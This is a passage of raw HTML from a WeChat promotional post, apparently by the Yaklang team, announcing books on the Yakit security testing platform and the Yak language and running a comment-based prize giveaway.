border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; white-space: normal; margin: 0px; padding: 0px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">Yakit实战指南，出书啦~↓↓</span></span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.203125" data-s="300,640" data-type="jpeg" data-w="1280" style="vertical-align:middle;max-width:100%;width:578px;box-sizing:border-box;height:696px;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/jibGAup6p72FkwJtANfHDxf02enRoOJnRicoMtWat0PgNl8M1YrYQnOCBIibCm0hvS9gGsjqGoEyiankNNPAwljuRmicj55OawHf7zNibGFbV4BWM/0?wx_fmt=jpeg&amp;from=appmsg" data-cropx1="0" data-cropx2="1280" data-cropy1="0" data-cropy2="1541.3148788927338" data-imgfileid="100046545" src="https://wechat2rss.xlab.app/img-proxy/?k=db19d685&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72FmlLM3CMCjCmxUF5HOebtB1OiaDkjXKCBO0iaibE0433AdIvD20iaT0jY8NmraMH250QPujY8gENScGjNQlqYj221VtsuyibiaFECxM%2F640%3Fwx_fmt%3Djpeg"/></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="transform: translate3d(9px, 0px, 0px);-webkit-transform: translate3d(9px, 0px, 0px);-moz-transform: translate3d(9px, 0px, 0px);-o-transform: translate3d(9px, 0px, 0px);box-sizing: border-box;"><div style="text-align: justify;font-size: 20px;color: rgb(255, 129, 36);padding: 0px 18px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><i style="box-sizing: border-box;"><span leaf="">新书出版了！！</span></i></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="margin: 6px 0px 0px;box-sizing: border-box;"><div style="text-align: justify;font-size: 32px;color: rgb(255, 191, 22);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><em style="box-sizing: border-box;"><span leaf="">&amp;</span></em></p></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="transform: translate3d(-9px, 0px, 0px);-webkit-transform: translate3d(-9px, 0px, 0px);-moz-transform: translate3d(-9px, 0px, 0px);-o-transform: translate3d(-9px, 0px, 0px);margin: -3px 0px 0px;box-sizing: border-box;"><div style="text-align: justify;font-size: 20px;color: rgb(255, 129, 36);padding: 0px 18px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><i style="box-sizing: border-box;"><span leaf="">那就抽点奖叭</span></i></strong></p></div></div></div></div><div style="font-size: 15px;letter-spacing: 1px;padding: 0px 8px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">扒拉了一下咱们的礼物库<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-w="20" style="display: inline-block;width: 20px;vertical-align: middle;background-size: cover;" src="https://wechat2rss.xlab.app/img-proxy/?k=4818594d&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2FExpression%2FExpression_78%402x.png"/>，这次的奖品有：</span></p><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">A、新书（5本）+贴纸</span></p><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">B、帽子（10顶）+贴纸</span></p><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">C、数据线转换器（10条）+贴纸</span></p><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">D、还有袜子几双，也抽出去吧！</span></p><p style="white-space: normal;margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">所有参与活动的用户，随机抽取，全靠脸~</span></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;box-sizing: border-box;"><div style="font-size: 15px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""> -- 礼物预览 --</span></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: -32px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;margin: 0px 33px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 50%;align-self: flex-start;flex: 0 0 auto;padding: 0px 5px 0px 0px;box-sizing: border-box;"><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;border-radius: 30px;overflow: hidden;box-sizing: border-box;" nodeleaf="" data-mpa-action-id="mtmozwkvvvq" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;background-color: transparent;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/jibGAup6p72Eah7e5ib0dfpQFqVlDrNZIaZWyUs0kTF8pMprupbhQw5LbYGTsC4gHHls1rK0y77Dne4QgpD1RiaQGNibwvSez0kbaic8fhe1HZyg/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="251" data-cropsely2="251" data-imgfileid="100046572" src="https://wechat2rss.xlab.app/img-proxy/?k=0dd26dc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72Eah7e5ib0dfpQFqVlDrNZIaZWyUs0kTF8pMprupbhQw5LbYGTsC4gHHls1rK0y77Dne4QgpD1RiaQGNibwvSez0kbaic8fhe1HZyg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;border-radius: 30px;overflow: hidden;box-sizing: border-box;" nodeleaf="" data-mpa-action-id="mtmp00kntmp" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;border-width: 0.33333px;border-style: solid;background-color: transparent;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/jibGAup6p72GA4KNiaznyQkoXcbXrav0jfE4hOu8D2noWlHn0q8ST2A5yLVgGcqO5LCgrkcxZnAMgJeQqB9MkrlQmvMbO2U6TlNnPZB6laDU4/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx1="0" data-cropselx2="255" data-cropsely1="0" data-cropsely2="255" data-imgfileid="100046571" src="https://wechat2rss.xlab.app/img-proxy/?k=1f3d9696&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72GA4KNiaznyQkoXcbXrav0jfE4hOu8D2noWlHn0q8ST2A5yLVgGcqO5LCgrkcxZnAMgJeQqB9MkrlQmvMbO2U6TlNnPZB6laDU4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 50%;align-self: flex-start;flex: 0 0 auto;padding: 0px 5px 0px 0px;box-sizing: border-box;"><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;border-radius: 30px;overflow: hidden;box-sizing: border-box;" nodeleaf="" data-mpa-action-id="mtmozoojwud" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;background-color: transparent;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/jibGAup6p72FotpzyxSUnibibjPmYsxldznWLCcF20LqzCIF8n9rkwe5EOZ1dsNSda4zBF25eiakVJEpX5lHEOKE7EiaH4QfA9TMRcxicfQW9pYnU/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="251" data-cropsely2="251" data-imgfileid="100046573" src="https://wechat2rss.xlab.app/img-proxy/?k=ab76d728&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72FotpzyxSUnibibjPmYsxldznWLCcF20LqzCIF8n9rkwe5EOZ1dsNSda4zBF25eiakVJEpX5lHEOKE7EiaH4QfA9TMRcxicfQW9pYnU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 50%;align-self: flex-start;flex: 0 0 auto;padding: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;border-radius: 30px;overflow: hidden;box-sizing: border-box;" nodeleaf="" data-mpa-action-id="mtmozsvex3p" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;background-color: transparent;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/jibGAup6p72GChicj1S4ibLV5CtoJKlxcfpQYAUuyUZqYZ6uicrR3N97CZnVRZiciaOXtRWYauSk1tc8vU2fMOCviblRdwUgwOuokL4HQ0EyibWP970/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="251" data-cropsely2="251" data-imgfileid="100046575" src="https://wechat2rss.xlab.app/img-proxy/?k=04443a04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72GChicj1S4ibLV5CtoJKlxcfpQYAUuyUZqYZ6uicrR3N97CZnVRZiciaOXtRWYauSk1tc8vU2fMOCviblRdwUgwOuokL4HQ0EyibWP970%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div></div><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5787037037037037" data-s="300,640" data-type="jpeg" data-w="1080" style="width:344px;height:199px;" type="block" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/jibGAup6p72E1j8Kaufut7IYtyx5JjG7R7WpAHZKm6brOV1OPLrYaraaag7l3VzP2bCc3tC9OCYMrgprW4ak0oGGcNPd1iaCo4OSvZ6iaUu0Rk/0?wx_fmt=jpeg&amp;from=appmsg" data-cropx1="0" data-cropx2="1080" data-cropy1="219.7674418604651" data-cropy2="844.5348837209302" data-imgfileid="100046574" src="https://wechat2rss.xlab.app/img-proxy/?k=6d65ef5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72GhsGBhibL2Z5h0Dq44icdF1513yqK5K3zyASySQ4gRmxv48yLoMYCiaUcnyHqZet9eIZJOxgzTopibkATCIt8TxRmBibWfXfGa8hibE%2F640%3Fwx_fmt%3Djpeg"/></p><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 2px;border-color: rgb(27, 27, 27);background-color: rgb(248, 214, 189);height: auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 18px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="gif" data-w="400" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046549" src="https://wechat2rss.xlab.app/img-proxy/?k=ee76da1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FjibGAup6p72HibibibV3q0htkTTAsLegwXYqicd7lStbHj2t4Kqcz14CWG9sEicktBV27biaISRyD9UdNmvJSwgnSa6rJUicSaGQ2kK1yRWxgdwhTu4%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="font-size: 18px;color: rgb(27, 27, 27);padding: 0px 12px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">参与方式</span></b></p></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 18px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="gif" data-w="400" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046548" src="https://wechat2rss.xlab.app/img-proxy/?k=71518709&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FjibGAup6p72GkibaicDNUuKicFuNdTtHycEC0e5pibGibv58AzKQkgncZV2CnjnViaP1dITlP7pJKt9p9YjrazcxLUiaUr3YRjBBxQgbG2H9CN9PnIs%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 5px 0px -6px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(255, 255, 255);padding: 20px;border-top: 2px solid rgb(27, 27, 27);box-sizing: border-box;"><div style="text-align: justify;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">为了人人有奖抽，这次的形式有4种（任选其一即可）：</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">1、用Yakit/Memfit解决过的问题中，印象最深的是？</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">2、喜欢Yakit/Memfit的哪个功能？</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">3、如果给Yakit/Memfit加一个功能，你希望加什么？</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">4、最喜欢Yak（牛子哥）哪个表情包？</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34; text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px; box-sizing: border-box; &#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 2px;border-color: rgb(27, 27, 27);background-color: rgb(248, 214, 189);height: auto;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34; text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 5px 0px -6px; box-sizing: border-box; &#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(255, 255, 255);padding: 20px;border-top: 2px solid rgb(27, 27, 27);box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: justify;font-family: PingFangSC-light;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 14px;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">直接在本条推文评论区发送即可<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-w="20" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" src="https://wechat2rss.xlab.app/img-proxy/?k=f47ce01f&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2FExpression%2FExpression_90%402x.png"/></span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">参与截止时间：2026年9月8日18:00；</span></span><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">获奖名单会在下周公布，并陆续发出礼物~</span></span></p></div></div></div></div></div><div style="text-align: right;margin: -35px 0px 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 84px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="gif" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_gif/jibGAup6p72ERr6j36Bw2V1mrKziaRLYOLeMLlSZH8nAIaD5ERn7nGstpmJ4kQ6DJWh2bB4HNjE2JtZZnqB2Etb2icfIy85fmeTNlTzDlLjBzs/0?wx_fmt=gif&amp;from=appmsg" data-cropselx1="0" data-cropselx2="84" data-cropsely1="0" data-cropsely2="90" data-imgfileid="100046581" src="https://wechat2rss.xlab.app/img-proxy/?k=f929e6e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FjibGAup6p72ERr6j36Bw2V1mrKziaRLYOLeMLlSZH8nAIaD5ERn7nGstpmJ4kQ6DJWh2bB4HNjE2JtZZnqB2Etb2icfIy85fmeTNlTzDlLjBzs%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mtmo7jnf120d" style="font-size: 15px;" data-mpa-action-id="mtmo7jnm21mf" data-pm-slice="0 0 []">想要书籍的朋友，也可以直接在淘宝、京东购买。</span></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: 34%;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf="" data-mpa-action-id="mtmo1n7n18xj" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046563" data-ratio="1.2235410484668645" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;background-color: transparent;" data-type="jpeg" data-w="1011" src="https://wechat2rss.xlab.app/img-proxy/?k=9fe9e7ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72F0b82reNDuOOugp0wj55jRjjey3BYsVwroE4y4On31KAAFibkv8vEyJialEgCP18QYVC0WnADcTmyTCaE0iatAeQ5ic7ahS4d83Dc%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 96%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(247, 251, 255);height: auto;padding: 19px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;padding: 0px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">《CDSL-YAK 网络安全领域变成语言 从入门到实践》</span></strong></p></div></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 96%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(247, 251, 255);height: auto;padding: 19px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;padding: 0px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">《Yakit 实战指南 基础应用与高级开发》</span></strong></p></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: 34%;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf="" data-mpa-action-id="mtmo1hw5t0l" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046562" data-ratio="1.3112513144058886" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;background-color: transparent;" data-type="jpeg" data-w="951" src="https://wechat2rss.xlab.app/img-proxy/?k=4f4f6473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72EiaC7jWlqlLwqsT9qHhJhiaBgqsO2FsTicwCGre1jHxzcYyOFFmxn6JOlJv5kEh7E83dsNuvlFibcBB8gzczMkhukV1GbWro36Gxw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;border: 1px solid rgb(255, 156, 25);background-color: rgb(255, 251, 239);"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: center;"><div style="display: flex;justify-content: center;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin: -10px 0px 0px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 6px 35px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;background: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));clip-path: polygon(0px 0px, 100% 0px, 90% 100%, 10% 100%);text-align: justify;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 1 auto;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 12px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">END</span></p></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;margin: 15px 0px 0px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px 15px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: left;"><div style="display: flex;justify-content: flex-start;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: justify;"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px 0px 8px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;clear: both;min-height: 1em;"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="list-style-type: disc;max-width: 100%;box-sizing: border-box;"><p style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;max-width: 100%;"><ul style="list-style-type: disc;padding-left: 0px;box-sizing: border-box;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p><span leaf="" style="box-sizing: border-box;">Memfit：<span textstyle="" style="font-size: 13px;">是万径安全旗下Yaklang团队研发的面向长程渗透测试、漏洞挖掘、应急响应等全链路攻防任务的生产级安全领域Agent系统</span></span></p></li></ul><ul style="list-style-type: disc;padding-left: 0px;box-sizing: border-box;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p><span leaf="" style="box-sizing: border-box;">Yakit：<span textstyle="" style="font-size: 13px;">是万径安全旗下Yaklang 团队开源的一款完全国产的交互式安全测试平台</span></span></p></li></ul></p></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: 